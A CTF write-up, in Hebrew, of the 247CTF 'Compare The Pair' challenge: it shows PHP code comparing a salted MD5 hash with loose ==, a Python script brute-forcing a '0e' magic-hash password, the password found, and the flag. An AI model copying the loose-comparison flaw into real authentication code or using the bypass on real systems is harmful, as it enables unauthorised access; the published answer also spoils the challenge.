Compare The Pair

בכניסה לאתר מציגים לנו את ה-Source code של האתר:

```php
<?php
  require_once('flag.php');
  $password_hash = "0e902564435691274142490923013038";
  $salt = "f789bbc328a3d1a3";
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
    echo $flag;
  }
  echo highlight_file(__FILE__, true);
?>
```

אנחנו מבינים מהקוד שהם לוקחים את ה salt ומשרשרים לו את הסיסמא בסוף ושולחים אותו לפונקציה של md5 ולאחר מכן מבצעים השוואה מול הhash הקיים שגם אותו אנחנו רואים.
החולשה בעצם היא בהשוואה של ה-hash ב-PHP ההשוואה באמצעות == מתבצעת לפי ערך והאופרטור === מבצע השוואה לפי ערך ולפי סוג ואנחנו הולכים לנצל את זה כדי למצוא את הסיסמא.
אנחנו נרצה למצוא hash שמתחיל ב 0e ולאחריו 30 מספרים, כתבנו סקריפט קצר בפייתון:

```python
#!/usr/bin/env python3
import hashlib

pass_salt = 'f789bbc328a3d1a3'
password = 0

while True:
    current = pass_salt + str(password)

    h = hashlib.md5(bytes(current, 'ascii')).hexdigest()

    if h[:2] == "0e" and h[2:].isdigit():
        print(password)
        break

    password += 1
```

לאחר הרצה מצאנו את הסיסמא:

```
C:\Users\Elai\Desktop>py file.py
237701818
```

נעביר אותה לשרת בפרמטר password ומצאנו את הדגל:

106e4cebb0b1c27c.247ctf.com/?password=237701818

Prerequisites | Mapl... Unofficial MapleRo... Open - S>8atk red... Open - S> 9WA FS...

247CTF{76fbce3909b3129536bb396fea3a9879} <?php

```php
  require_once('flag.php');
  $password_hash = "0e902564435691274142490923013038";
  $salt = "f789bbc328a3d1a3";
  if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
    echo $flag;
  }
  echo highlight_file(__FILE__, true);
?>
```